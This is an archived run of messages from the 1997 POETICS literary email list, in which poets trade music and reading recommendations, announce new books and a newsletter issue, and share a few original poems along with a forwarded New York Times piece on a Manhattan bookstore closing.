>Standard English Phrase Hebonics Phrase

>
>"He walks slowly." - "Like a fly in the ointment he walks"
>"You're sexy." - (unknown concept)
>"Sorry, I do not know the time." - "What do I look like, a
>clock?"
>
>"I hope things turn out for the best." - "You should BE so lucky"
>"Anything can happen." - "It is never so bad, it can't get worse"
>--
>==========
>pierre joris 6 madison place albany ny 12202
>tel/fax [redacted] email:[redacted]
>http://writing.upenn.edu/epc/authors/joris/
>http://www.albany.edu/~tm0900/nomad.html
>----------
>Everything that allows men to become rooted, through
>values or sentiments, in _one_ time, in _one_ history, in
>_one_ language, is the principle of alienation which
>constitutes man as privileged in so far as he is what he is,
>[...] imprisoning him in contentment with his own reality
>and encouraging him to offer it as an example or impose
>it as a conquering assertation. -- Maurice Blanchot
>==========
>
>

↑ Index

419. Pritchett,Pat
Re: real worlds...
Fri 17 Jan 1997

Travel safely, Aldon. I'll look forward to your return. There shld be groovy go-ings-on at Naropa come June. Maybe they'll even have caught the real killer by then, who knows?

Patrick Pritchett

From: Aldon L. Nielsen
To: POETICS
Subject: Re: real worlds...
Date: Friday, January 17, 1997 2:18PM

Signing off for a few days as I leave Boulder with its attendant mysteries (and attendant press corps) to return to my "real" employments at San Jose State -- U-Haul couldn't provide a truck with modem & cellular phone, so I'll just have to listen to all of these poetry reading tapes I've been making lately --

Speaking of publications -- Douglass Messerli handed me in D.C. a copy of his latest _Stein Awards_ anthology, which makes for very good reading indeed -- I've learned the names of a couple impressive poets previously unknown to me already -- Looks just like last year's model in a new color, so don't go thinking you've already got it --

Pat and others here abouts -- will be back in June and hope to see you again then --

↑ Index

420. Charles Bernstein
New Listserv address
Fri 17 Jan 1997

I have gotten several questions about the new listserv address. The address for subscribing and unsubscribing, for setting mail/nomail or digest, as well as for "review poetics" (which gives you who is subscribed) is now

[redacted]

The "UBVM" address is no longer active! Part of the confusion comes for our using the old listserv address in the "how to see who's subscribed" section of the New and Improved Welcome Message. More improvement is just around the corner. There are now about 450 people subscribed to Poetics.

↑ Index

421. Kenneth Goldsmith
No. 111 2.7.93-10.20.96 Arrives
Fri 17 Jan 1997

Jordan Davis wrote:

> *My understanding is that Kenneth Goldsmith's new book from The Figures is "the catalog poem to end all catalog poems..." Kenny are you out there? Have you announced this yet? -- Jordan*

Now, now, Jordan. Let's give credit where credit is due. Those are the words of Mr. Bernstein. "No. 111 2.7.93-10.20.96" is due out on Feb. 7th from The Figures, weighing in at 624 pages. There will be a book party at the newly opened chic Soho Grand Hotel here in NYC on Friday, Feb. 7, 5-7:30. All in town are

welcome to attend. Since there is no press release written yet, here's the context from which that idea came--the full back cover blurbs:

"The Borscht belt meets concept art in this delirious digest of obsessive gaiety, this useless collection of perishable information, this wily catalog of everyday life, this alphabetic bestiary of the ribs, joints, sinews, and bones of language's alluring lore. Kenneth Goldsmith has written what could be the longest, and maybe the last, list poem of the 20th Century. On the way, he has reinvented prosody-counting by 1, 2s, 3s, and up-as he inventories the roaring rush of rippling, or is it ripping?, words: inchoate yet coalescing, a fractal romp on just this side of virtual reality."

-Charles Bernstein

"In Kenneth Goldsmith's "useless encyclopedic reference book," Oulipo brilliantly meets the Millenium. The text adheres strictly to its chosen rules: all the phrases collected between February 7, 1993 and October 20, 1996 end in sounds related to the sound "R" and they are organized alphabetically by syllable-count beginning with one syllable entries for Chapter 1 ("A, a, aar, aas, aer, agh, ah, air...") and ending with a 7,228 syllable tour de force of astonishing proportions. But, in the spirit of George Perec and Jacques Roubaud, Goldsmith uses these "rules" to expose the reader/listener/viewer to the marvels and vagaries of language in the late twentieth century. What we talk about, how we look at things, how we actually communicate-Goldsmith's eye and ear for contemporary argot is near perfect."

-Marjorie Perloff

"Musical before exhaustive, rhythmic before objective, Goldsmith's epic litanies and lists bring to the textual tradition of conceptual art not only an exploded frame of reference, but a hitherto absent sense of hypnotic beat. Under its deceptively bland title, "No. 111 2.7.93-10.20.96" attempts no less than a complete reordering of the things of the world. The work is also a weirdly constructed Baedeker to late 20th Century American society, as well as a compendium for an autobiography of the artist."

-Raphael Rubinstein, Art in America

ISBN 0-935724-87-7, THE FIGURES
$17.50

To get yr. hands on a copy, contact The Figures at [redacted] or write to them at:

The Figures
5 Castle Hill
Great Barrington, MA 01230

or through SPD or email me: [redacted]

+==========
==========+ Kenneth Goldsmith work:
http://www.ubuweb.com 611 Bway, #702, NYC 10012 v.[redacted]

----------> editor UbuWeb ViSuAL & COncReTE PoEtRy
http://www.ubuweb.com/vp <----------

↑ Index

422. **k.a. hehir**
Re: tunes to keep your head clear
Fri 17 Jan 1997

---

yeah, i'm with george. it's friggin cold here and old steel pulse tapes
are rockin my walkman. roots rock reggae!
kevin

On Thu, 16 Jan 1997, George Bowering wrote:

> *Driving back and forth between clinic and home today I kept playing my old Kid Creole and the Cocoanuts tapes to clear my head. And sinuses.*

↑ Index

423. **Pritchett,Pat**
Re: lit...
Fri 17 Jan 1997

Joe,

That Bester book *is* brilliant, by gorsh. I re-read it this summer, then found that Vintage was re-releasing it. I think Wm. Gibson had this book in the back of his head when he wrote _Neuromancer_. Got the _Millennium_ anthology for my B-day and am loving it. Also, scored a used copy of o-blek Spring 1993: Presentation, which features work by many of the folks on this list and is a real joy. Other books I'm enjoying: Tom's incredible _Prospect_, Bev Dahlen's Reading 8-10, and Edmond Jabes. I'm very excited about Jabes and am curious to know what others on the list think of him as he is new to me.

Patrick Pritchett

From: amato
To: POETICS
Subject: lit...
Date: Friday, January 17, 1997 3:28PM

i'm reading through both the _primary trouble_ and _premonitions_ anthologies of late, both of which i'm finding to be well-worth the price of admission... i'll be using the _primary trouble_ anthology in an american poetry class this semester, so it'll be interesting to see how the class responds to the writing... i'm gonna jump-start the class by beginning at the beginning, having a close look at that preface-poem by william bronk, "the nature of musical form," see what sorts of insights this poem generates...

far as single books of poetry: i'm finally getting to hannah weiner's _silent teachers remembered sequel_, which is remarkable in its way... and celan's _breathturn_, which w/o pierre joris's exceptional introduction (and for that matter translation) i probably wouldn't have a clue as to how to read...

next up is rod smith's latest, _in memory of my theories_... and i keep dabbling in and out of the rothenberg/joris _poems for the millennium_ anthology, which i find extraordinary... oh and i'm just about to finish up alfred bester's _the stars my destination_, one of THE most amazing scifi's i've ever laid my pinkies on...

alla these superlatives, i know---but then, that's why i'm reading this stuff!...

joe

↑ Index

424. jarnot
the poetry project newsletter
Fri 17 Jan 1997

Issue #164 (February/March 1997) of the Poetry Project Newsletter is now available. The issue includes:

An Interview with Alice Notley by Judith Goldman
Notes on Community by Jeff Derksen
An Essay on Ian Hamilton Finlay by Brian Kim Stefans
Plus: book reviews, regional updates, announcements, and the Poetry Project Calendar.

You can get a year's subscription (4 issues) for $20 -- write to:

The Poetry Project
c/o St. Mark's Church
131 East 10th Street
New York, NY 10003

Recent back issues are also available for $5 --

#163-- an interview with David Henderson, reviews of Tan Lin, Bill Luoma, Kathleen Fraser, Jim Brodey & Bob Kaufman...

#162-- an interview with Harryette Mullen, reviews of Bernadette Mayer, Susan Howe, Tom Raworth, Paul Beatty...

Forthcoming in 1997--

#165 (April/May) will include an interview with John Godfrey, reviews of Elinor Nauen, Juliana Spahr, Jonas Mekas, and more.

↑ Index

425. **shoemakers**
Re: tunes to keep your head clear
Fri 17 Jan 1997

Yeah, Don, Puppets' Up On The Sun is a fave album of mine--has a real solar flair you might say--and i've been waiting for them to do something as good ever since. So far without luck. A few times now i've heard lame cleaned-up versions of their earlier stuff on the radio, suitable for "Alternative-Radio-As-Marketing-Niche" framing. As tuneful as "Sun" is to my ear, i'm always amazed that that sort of stuff cldn't get played *as is*.

steve

↑ Index

426. **shoemakers**
Re: tunes to keep your head clear
Fri 17 Jan 1997

Pat sez he's listening to old Johnny Cash--has anybody heard the *new* one yet? The one before this--American Recordings--was good & scary. steve

↑ Index

427. **DS**
Bowering - Stool pigeon
Fri 17 Jan 1997

Georgie, I'm not your daddy...

but its Coconuts

kind regards

dan

↑ Index

428. **DS**
Re: sustaining the lifethread
Fri 17 Jan 1997

I dunno, here it seems you get cheap drugs, free chocolate, free gym membership, sex on the weekends & a large golf course if you get the right prison.

daNZ

At 09:09 AM 1/16/97 -0500, you wrote:
>
>Hi Dan,
>
>all I meant is this: as bad as the army etc must be (and that's bad), I'd
>take it anyday over a prison full of psychos, murderers and potential "ass
>bandits." I've known people who were raped in prison - it's very common, as
>I'm sure you know. No thanks, amigo!
>
>Cheers,
>Patrick
> ----------
>From: DS
>To: POETICS
>Subject: Re: sustaining the lifethread
>Date: Wednesday, January 15, 1997 8:28PM
>
>
>huh?
>
>At 07:13 PM 1/15/97 -0500, you wrote:
>>With all due respect, Dan: you must be plumb loco to make that kind of
>>statement. Or just uninformed.
>>
>>All this talk about the university as "artificial" strikes me as absurd.
>How
>>is it any more artificial than the corporate environment? I'll state the
>>obvious here: culture = artifice - and it's better than living in the
>woods.
>> A university *is* a corporation. It's designed to turn a profit by
>>producing a product - education. Or a facsimile thereof. That's what people
>>seem to objecting to here. Unfortunately, the idealism engendered by a love
>>of learning does seem to be often at odds with the bottom line. On the
>other
>>hand, I've read on this list someone rather melodramatically comparing the

>>university to a prison: try working at a life insurance company for a few
>>months. It'll suck the marrow right out of your soul!
>> ----------
>>From: DS
>>To: POETICS
>>Subject: Re: sustaining the lifethread
>>Date: Wednesday, January 15, 1997 6:53PM
>>
>>
>>As someone still in my 20s i would chose prison over compulsory military
>>service without a second thought.
>>
>>dan
>>
>>(in New Zealand - you don't have to pay university fees if you are inside.
>I
>>would have food & board etc & could get stuck into that contemplated phd)
>>
>>
>
>

↑ Index

429. **DS**

Re: tunes to keep your head clear

Fri 17 Jan 1997

At 11:58 AM 1/17/97 MDT, you wrote:
>> would you good people mind recom
>> mending some listening materials?

For head clearing i recommend 'A meeting by the river' Ry Cooder (&family) with U M Bhatt, with a great 71/2 minute version of the ubiquitous figian song Isa Lei

> *when I want to clear my head,*
> *I just go to one of Don's great*
> *birthday parties.*
>
> *actually, theres something*
> *I really like about that--I havent*
> *been to a birthday party since I*
>
> *was about 12 (I guess most of us*

> *get too embarrassed at about that*
> *age to have more).*
>
> *oh, but music: any Patsy Cline will do--well, almost any. also*
> *Art Blakey & the Jazz Messengers. theres a great Nat King Cole disk*
> *of the earliest recordings (the name escapes me now)--much better, I*
> *think, than his later work. also I listen to a lot of Sonic Youth.*
> *..*
> *christopher alexander, etc.*
> [redacted]
>
> *"... The Anarchists' [national] anthem is an international*
> *anthem that consists of 365 raspberries blown in very quick*
> *succession to the tune of "Camptown Races". Nobody has to*
> *stand up for it, nobody has to listen to it, and, even better,*
> *nobody has to play it."*
> *--Mike Harding, "The Armchair Anarchist's Almanac"*

↑ Index

430. Miekal And
Re: Elmslie Reading?
Sat 18 Jan 1997

George Bowering wrote:
>
> Ah you lucky people who have heard Elmslie read. (Or Schuyler, for that
> matter.) I have never heard him, though I heard too late that a play was
> produced in Seattle a couple years ago. Does anyone out there teach
> Elmslie? How does one do it?

He was even at Woodland Patterns & I couldnt get up the gumption to drive across the state. Never seen em either.

<Turnin' this town upside down--

I thot
that was
my job.

Miekal

whose last book ended, "the next book will contain no recognizable words"

whatever that means

↑ Index

431. George Bowering
Re: No fish today
Sat 18 Jan 1997

> *Georgie, I'm not your daddy...*
>
> *but its Coconuts*
>
> *kind regards*
>
> *dan*

I was thinking it was but I put in an a just in case.

Turnin' this town upside down--

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

432. George Bowering
Re: Elmslie Reading?
Sat 18 Jan 1997

Ah you lucky people who have heard Elmslie read. (Or Schuyler, for that matter.) I have never heard him, though I heard too late that a play was produced in Seattle a couple years ago. Does anyone out there teach Elmslie? How does one do it?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

433. Miekal And
Re: music to clear the head
Sat 18 Jan 1997

Douglas Barbour wrote:
>
> Gosh, so much loud music being recommended, but I was glad to see Charles
> Alexander get to jazz.

I bet the Meat Puppets would sound great overhead playing from somebodies' tiny walkman headset. Like tiny insects carving their initials in the leg of your chair.

Miekal

who last night listened to Lyx play "Goodbye Porkpie Hat" on the piano & thought of all youses clean heads.

↑ Index

434. Thomas M. Orange
Re: tunes to keep your head clear
Sat 18 Jan 1997

lou reed metal machine music -- guaranteed to blow all the scleroses right outta the ol' cranial cavity -- strict stereo separation means you should either use headphones or what i like better -- unplug one speaker and play side one, then switch speakers and play the same side again, then play it again full stereo and enjoy how the two channels interlap.

cheers, t. _____ | Music is not yet written but is to be. | | The preparation is long and of long intent | | For the time when sound shall be subtler than we ourselves. | | -- Wallace Stevens -- |
~~~
~~~

Bei Dao's _Landscape Over Zero_, BD repeatedly destroys me and keeps me up at night looking for missles. I find myself returning to this book several times a day.

Medbh McGuckian's _Captain Lavender_, latest book of whammy by Belfast's finest. The war is in the painting, and she's no radio traitor, I say.

and I just re-read David Antin's "Definitions for Mendy." Yep.

Now playing: George Jones/Elvis Costello-"Stranger in the House": I always found EC's solo version a bit cold. GJ is just what this song needed. Violin that asks you nicely to weep.

Wilco-"Being There" LP: I haven't stopped listening to this 2xLP since it was released in October. A monster: feedback pianoed ballads, Beach Boys stomp, and the usual sturm und twang. Spinal Tap and Dimetapp.

Willie Nelson-"Spirit" LP: not as fonky as "Shotgun Willie," not as masterful as "Stardust," but the spare line-up (fiddle, piano, guitar) and matador flavor give the old dog a new kick. Just heard Willie on Fresh Aire the other day, where he caually admitted that he wrote "Crazy", "Nightlife", and "Funny How Time Slips Away" in one afternoon. I need a day like that.

James McMurtry-"Where'd You Hide the Body?": Larry's kid's even bleaker third album. This one has a tuba though, on the opener, "Iolanthe." A few clunkers, but worth it for lines like "There'd be no last call if they elected me king" and "I wrecked the El Camino/Woulda been DWI/So I just walked off and left it/Layin' on its side."

all freaked out about clarity,

Graham

↑ Index

436. Douglas Barbour

Re: bp's computer poems + other books

Sat 18 Jan 1997

George Bowering said:

"On his first computer, an Apple II, bp did program a simple set of action poems. One of those 5.5" diskettes. It was later made a commercial item by Red Deer College Press, and is still available, I wd guess. In 3.5" disks, but I dont know what format."

It's called _First Screening_ & is (was?) available from Red Deer College
Press for Can $9.95, US$8.95 from rdc
56 Avenue & 32 Street Box 5005

Red Deer Alberta T4N 5H5 Canada. My version is for MacIntosh (I dont know if there's a version fo IBM, but there well may be.

Also available from rdc:

Douglas Barbour _Story for a Saskatchewan Night_
Fred Wah _Music at the Heart of Thinking_ & _Alley Alley Home Free_

I'm hoping that this message gets to the list as I had a bunch of trouble with my address seemingly changing on the listserve & thus not being accepted. Ive gone through the changes I think will work. I wanted to send another note on Fred Wah:

In the mode recommended by Charles Bernstein, I want to call attention to a new book by someone many of you know:

NeWest Press recently published Fred Wah's first prose work, _Diamond Grill_. Although I'm a member of the Editorial Board of NeWest Press, I only saw the work after it was published, so I can tell you, with no sense of conflict of interest, that it is simply terrific. A beautiful mix of memoir, fiction, exact & precise memory-act, lovingly rendered life as known in the senses. Those who know Fred's poetry will know how he works with language, but here he has maintained the intensity of his poetry while achieving a level of openness and more 'ordinary' (never in his case quite what you expect) readerliness that will gain him many new readers (in fact, _Diamond Grill_ has sold over half its run in just 3 months). I began to read & couldn't put this down. Fred captures the essence of the small Chinese cafes that are found in small towns all across the Canadian west, & his own growing up in the cafe his father ran for years in Nelson BC.

The book is available in individual (not chain) bookstores across Canada, & from

LPC Group
1436 West Randolph Street
Chicago IL 60607
Toll free ph: [redacted]
Toll free fax: [redacted]
(that may be for bookstores, but try it).

You wont be disappointed...

Doug

==========
==========
Douglas Barbour
Department of English

University of Alberta in the rooms you live in
Edmonton Alberta T6G 2E5 other people's books line your shelves
[redacted] FAX:[redacted]
H: [redacted] bpNichol

↑ Index

437. **Douglas Barbour**
Re: music to clear the head
Sat 18 Jan 1997

Gosh, so much loud music being recommended, but I was glad to see Charles Alexander get to jazz.

I certainly listen to Richard Thompson a lot, & Van Morrison's great live in San Francisco double CD. But to clear the head?

Anything by Jessica Williams, perhaps the most exciting & complete pianist (& terrific composer) to finally get some attention recently. A number of fabulous albums are available from Jazz Focus records, a small company in Calgary dedicated to releasing music by people the BIG companies havent seemed to notice (& we know about that in poetry, dont we?)...

==========
==========
Douglas Barbour
Department of English
University of Alberta in the rooms you live in
Edmonton Alberta T6G 2E5 other people's books line your shelves
[redacted] FAX:[redacted]
H: [redacted] bpNichol

↑ Index

438. **Jeffrey W. Timmons**
Re: lit: reading...
Sat 18 Jan 1997

---

acker: blood and guts in high school
kundera: slowness
silliman: n/o

jeffrey timmons

↑ Index

439. **Tosh**
Re: music to clear the head
Sat 18 Jan 1997

Scott Walker's TILT
Anything by Serge Gainsbourg
Anything by Les Rita Mitsuoko
Soundtrack music from various Godard films (Japanese cd)
David Bowie's OUTSIDE
Anything by Billy Fury
Anything by Joe Meek

Tosh Berman
TamTam Books

↑ Index

440. **maria damon**
Re: music to clear the head, actual boox
Sat 18 Jan 1997

---

ali farka toure

boox:
hannah weiner, we speak silent
anna lowenhaupt tsing, in the realm of the diamond queen
jack spicer, collected boox (for class)
yeats, selected pomes (for class)
nathaniel mackey, djbot baghostus's run
various etymological handbooks

↑ Index

441. **maria damon**
Re: boox
Sat 18 Jan 1997

---

oh yeah one more actual book, the one i'm actually reading instead of having to wade thru on on the floor picking my way to bed each night:

william harris, keeping the faith: a randolph phillips and the brotherhood of sleeping car porters (for research on bob kaufman and labor --his father was a pullman porter). fun to learn something abt black labor history, about which i know so little

↑ Index

442. Kenneth Goldsmith

Another One Bites the Dust

Sat 18 Jan 1997

From today's New York Times--another one bites the gust (gotta love that Whitney...)

January 18, 1997

Epilogue for Another Bookstore

By DINITIA SMITH

NEW YORK -- Books & Company, the venerable Upper East Side bookstore that has provided a home for a generation of writers, giving them space for readings and allowing them to browse uninterruptedly amid its dark paneled stacks, will close on May 31, its owner, Jeannette Watson, announced this week. "We just cannot afford to pay the rent," Ms. Watson said.

It is the latest in a series of independent bookstore closings in Manhattan. On the Upper West Side alone, at least three independent bookstores have closed since a Barnes & Noble superstore moved in in 1993.

Nationally, the American Booksellers Association has estimated, some 50 to 60 independent bookstores shut down in 1996. And as the news of Books & Company's closing spread through the literary community, the reaction was dismay.

"I'm heartbroken," said Cynthia Ozick over the phone last week. "What does it tell us? That New York City can't support an independent bookstore?"

The reason for the closing, said Ms. Watson, is that business has been bad lately. The building, on Madison Avenue at 74th Street, is owned by the adjacent Whitney Museum of American Art, and Ms. Watson's lease is up. "They were not willing to renew it on terms that were economically reasonable for Books & Company," she said.

The new lease provided for a rent increase that Willard Holmes, the deputy director of the Whitney, called "a small percentage." Holmes added, "It's unfortunate that they're not going to renew." Neither he nor Ms. Watson would say exactly what the rent was, but rents for relatively small spaces on Madison Avenue can be as high as $400,000 a year.

Books & Company was founded in 1977 by Ms. Watson, the granddaughter of Thomas Watson, the founder of IBM, and her partner, Burt Britton. Since then, it has been a gathering place for writers, its antique air, its smell of old books and creaking floors making it seem like a bit of London.

When she opened her store, Ms. Watson, a divorced mother of a son, was doing charity work. She had gone to Sarah Lawrence, and had always loved

books, so much, in fact, that her father called her "Madame-Nose-in-Books," she said.

Still, her friends and family were surprised that the wealthy young woman would want to tend store. Her father, Thomas Watson Jr. a former ambassador to Russia, asked, "Why do you want to start a bookstore?' " Ms. Watson remembers. "I told him I want to start something no one can take away from me."

For its first 10 years, the shop flourished. It was a place where literary fiction got the best display, not the latest best sellers. Ms. Watson called those years the Golden Age. "It was not unusual to a make a $2,000 sale to one person," she said. "People had a tremendous amount of money. They would buy expensive art books."

Through its reading series, the bookstore introduced young writers, among them Amy Hempel, Susan Cheever, Steven Millhauser and Edwidge Danticat. Harold Brodkey met his wife, novelist Ellen Schwamm, there and called Books & Company "symphonically important to me."

Poet James Merrill even wrote a poem about the store for its 10th anniversary:

Ten years of browsing, and the shelves

Mysteriously grow more packed

Full of reflection, silver-backed ...

Looking for books, we find ourselves.

During those years, Ms. Watson met and married her second husband, Alex Sanger, grandson of Margaret Sanger and president of Planned Parenthood of New York City. They had two sons.

But the last decade has not been kind to Books & Company. Real estate values have driven many aspiring writers out of the neighborhood. The superstores have come along, offering big discounts. And now there's competition on the Internet. "You give your credit card number," Ms. Watson said, describing Amazon.com, an Internet bookstore, "and the book comes in two days."

Ms. Watson resisted change. "We stayed old-fashioned," she said. She never put in a computer. When customers called to request a book, Ms. Watson herself would dash around the store looking for it. In an effort to increase business, however, she did start a personal delivery service, to any location in the city.

For the last five years, said Ms. Watson, she has been putting some of her inheritance into the place. "But a bookstore should not be a charity," she said. "It should be a business. I give money to charity." Sales picked up at Christmas, she said, but it wasn't enough.

Last year Ms. Watson started a publishing venture with Jonathan Rabinowitz of Turtle Point Press in Purchase, N.Y. Their first book was a reprint of Hannah Green's "Dead of the House," a coming-of-age novel that the author, who died last year, had painstakingly worked on for years.

"Just a beautiful book," said Ms. Watson. "We have to keep reprinting it. We're sort of close to breaking even."

She has discovered she loves publishing: editing, "working on the book jacket," all the minutiae. And she will continue doing it after the store has closed. In May, will come "A Journey With Elsa Cloud," a travelogue about India, by Leila Hadley, a descendant of James Boswell.

"This has always been my private club," Ms. Watson said of her store. "It's an amazing way of getting to know people. I like to go through my house charge customer lists: 'Oh, interesting! They're reading this! They're sending the book to the White House!' I felt this thrill of pride. My books are going all over the world. It's taught me not to judge people simply by what they do. The doormen on Madison Avenue, for instance, have an intense interest in books."

There has been talk of a final reading. "But that would be too hard," she said. "We'll have a final party, instead. We'll just invite everybody."

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+==========+ Kenneth Goldsmith work: http://www.ubuweb.com 611 Bway, #702, NYC 10012 v.[redacted]

----------> editor UbuWeb ViSuAL & COncReTE PoEtRy http://www.ubuweb.com/vp <----------

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443. John Kinsella

Requests & Ethics

Sat 18 Jan 1997

I'm interested in hearing from anyone interested in "innovative" verse and the pastoral poem. Particularly the possible political interstices and oppositions with Language Poetry. I'm considering compiling an anthology of both critical and "creative" work around this theme. Personally, I've been looking at Lyn Hejinian's, Susan Howe's, and the Australian poet Robert Adamson's work. At the moment I'm working on a critical book on the Pastoral & Modernism in the Late Twentieth Century and see such an anthology as a natural extension of this project.

Re any interesting poems. I'm reading heaps of interesting stuff for Salt at the moment (Salt 9 should be in US and UK bookshops shortly - the first issue to have true international distribution) but a piece that has been particularly interesting in scope is Silliman's first section of his K section of *The Alphabet*. And a batch of poems by Pierre Alferi which could be described as being like a cross between John Tranter and Andrew Duncan if they wrote in French. It astounds me how much great material is out there.

A query. Has anyone heard what Blitza Bargeld is working on at the moment?

Yours
John Kinsella

↑ Index

444. **John Kinsella**
by another name
Sat 18 Jan 1997

That's Blixa Bargeld I was talking about. Though I'm sure he'd appreciate the typo. And I've just discovered the Guardian weekend liftout features Nick Cave and says Bargeld is working on a theatre project - "The Execution Of Precious Memories". A weird coincidence.

Yours
John K

↑ Index

445. **Thomas Bell**
Re: Closure & The Pastoral (another Chapter of *Ethics*)
Sat 18 Jan 1997

At 07:01 PM 1/18/97 -0800, John Kinsella wrote:
>The Rabbiters: A Pastoral
>

Intriguing. As someone who is admitedly relatively unversed in poetry form I would appreciate more info on why this is a pastoral. tome bell

↑ Index

446. **Alan Jen Sondheim**
Sonnet by Jennifer
Sat 18 Jan 1997

--

Sonnet

Jennifer sat down on her frock. She had just read Alexander Graham Pope, Rape of the Lock. She had written a poem And had to take stock. It was not nice, about ice, and black winds howling Outside where she died. She knew it was true but a bad poem because, she Said, it didn't capture the rapture of the spray in the air there. She Wrote sitting on her frock by the freighter by the dock. I'm sorry, she Said, but the freighter was dead. I will be on the Net yet, she said, To her quarry the storm. She cried and she cried. The ice was nice, the Rain a pain, the wind was blind, the waves her slaves. She lied most of The time but in rhyme. She knew it was a very very bad poem. She got up And went home. I'm home, she said, I'm dead. I know it's so, said Jennifer Me. 1 2 3.

↑ Index

447. Pritchett,Pat

Re: tunes to keep your head clear

Sat 18 Jan 1997

Yes - you mean "Unchained" also out from American. It's great. Like old sour mash with a real bite. Almost a testimonial to his whole career - there's something of the valedictory to it, though I hope in tone only.

Patrick Pritchett

From: shoemakers
To: POETICS
Subject: Re: tunes to keep your head clear
Date: Friday, January 17, 1997 8:03PM

Pat sez he's listening to old Johnny Cash--has anybody heard the *new* one yet? The one before this--American Recordings--was good & scary. steve

↑ Index

448. Patrick Foley

Re: lit...

Sat 18 Jan 1997

Joe -- do also read _The Demolished Man_ which has also been reprinted by Vintage. I read that one some years ago, but had never even _seen_ a copy of _The Stars My Destination_ until this reprint. Bester also wrote some terrific short stories, including a memorable parody of time travel stories called "The Men Who Murdered Muhammad". Bester is legendary in sf circles -- glad he's finally getting some wider exposure. NPR even did an interview with Chip Delany for the occasion of this reprint and ran it in prime time on ATC.

Pat

(I did my part, made it my "staff recommendation" at the B&N where I work. My current rec is vol 10 of the Olson/Creeley correspondence! So there's at least one bookstore in the country where you can get this for 30% off, not that this seems to be affecting sales much ...)

↑ Index

449. **amato**
Re: lit...
Sat 18 Jan 1997

---

pat, thanx, i will indeed look around for _the demolished man_... the npr spot with delaney is where in fact i heard about bester...

keep up that good work at b & n!...

best,

joe

↑ Index

450. **John Kinsella**
Closure & The Pastoral (another Chapter of *Ethics*)
Sat 18 Jan 1997

The Rabbiters: A Pastoral

That the Theocritan pick-up has been versed
in country things seems obvious, the velour
on the dashboard crazy with fresh air
rushing through the doorless cabin, the cursed
skies blackened by night. Though a moon lurks
somewhere and the spotlight cutting through
the burn-back of summer detects the jerks
of nerves and tissue - the rabbits out to chew
the burnt prongs of stubble, the halogens
conflagration fills the omni-screens
within their eyeballs - the crack and whine
of a triple two mocks its rituals, a sign
of fading influence in a field where gravity
is a neck chop and the poem is framed by levity.

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451. Schuchat Simon
Re: tunes to keep your head clear
Sun 19 Jan 1997

if you can find them -- perhaps your nearest local Chinatown? the following are all recommended:

Cui Jian -- particularly the first CD, Yi Wu Suo You

Yenjingshe Yuedui (Cobra -- all girl rock & roll from Beijing)

& Wang Yong (formerly Cui Jian's lead guitar) solo album Samsara

that's for the mainland; from Taiwan,

check out Luo Dayu, any of his CDs (some are in mandarin, some in Taiwanese, during last year's missile tensions he put out a CD where all the tunes came from Japanese war songs)

& for something slightly older from Taiwan, any of Su Rui's CDs

↑ Index

452. George Bowering
Re: etymology or the study of insects
Sun 19 Jan 1997

> *(3) a skirt a man can wear when it gets tropical enough*

Ah! This is another explanation for Bromige's migration from B.C. to Calif.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

453. George Bowering
Re: the secret life of books
Sun 19 Jan 1997

> *Wearing: shall I be the first on the list to admit to wearing a dress?*
>
> *Rachel Loden*

Didnt Bromige already do that?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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454. George Bowering
Re: fetal poetics (a consequence of plain gold bands)
Sun 19 Jan 1997

My daughter, 25, is a good poet and even better short fiction writer. Has been in a few magazines and anthologies, named Thea Bowering, and done some boffo readings. She is talented but not ambitious. Has a laptop hard drive full of good stuff I peek at once in a while.Wrote a reply story to one of my stories once, and just demolisht me!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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455. KENT JOHNSON
Re: tunes to keep yr head clear
Sun 19 Jan 1997

Papalotl: Transformaciones Exoticas, by my former college roommate Javier Alvarez, Mexico's most prominent young composer of "experimental" music (tho "young" in quotes, too, since Javier has reached 40!), available on cd from Saydisc in England.

Alvarez has been living in London for a number of years now, and his music has been performed by leading orchestras and ensembles around the world. *Papalotl* contains his most widely performed piece, "Temazcal," a polyrhythmic tour de force for maracas and tape, performed by Luis Julio Toro, perhaps the "non-folk" music world's greatest maracas player (!).

And on "reading": _Mr. Wilson's Cabinet of Wonder_, a wonderous history/meditation on the Museum of Jurassic Technology, by Lawrence Weschler.

Kent

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456. George Bowering
Re: News !
Sun 19 Jan 1997

> *"However, I have noticed all together TOO FEW listings of recent publications by list participants.*

My most recent book is called (the publisher made up the title as well as commissioning the book, so it aint my fault): _Bowering's B.C.: a Swashbuckling History_, from Viking/Penguin in Toronto, Fall 1996. It is selling pretty well, and has got a lot of good reviews and one bad one.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

457. George Bowering
Re: neologism redux De Basis
Sun 19 Jan 1997

> *And I'd like to add two examples of Australian journalese -*
>
> *downsize*
> *substantive (meaning 'substantial')*
>
> *P.B.*

Well, these are used in Canada too, and probably in the USA.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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458. **simon**
Re: News !
Sun 19 Jan 1997

I have a creative nonfiction/memoir piece, "Sweeper Women," in the latest (it may not be on the shelves yet, I've only seen the last latest, with Ron Silliman's poem) _Iowa Review._

I have a different creative nonfiction/memoir piece, "Gujerat," in the latest _Florida Review_.

Rachel Loden has a poem in this latest issue of _Florida Review_ as well, "On Beria's Lap".

(Is Gwyn McVay on this list?) Gwyn McVay also has a poem in this _Fl Rev_, "Base Metals".

that's it

beth simon
assistant professor, linguistics and english
dept of english and linguistics
indiana university - purdue university
[redacted]

↑ Index

459. **Ron Silliman**
Possibly, a job for a writer
Sun 19 Jan 1997

Al Filreis sent this to the Writers House list in Philadelphia, but it occurs to me that there may be other Pennsylvania-based poets on these lists who would like to know of this position. (Anyone with this skill set and a couple of years experience ought to making at least double this in the computer industry, but that's another story.)

Ron Silliman

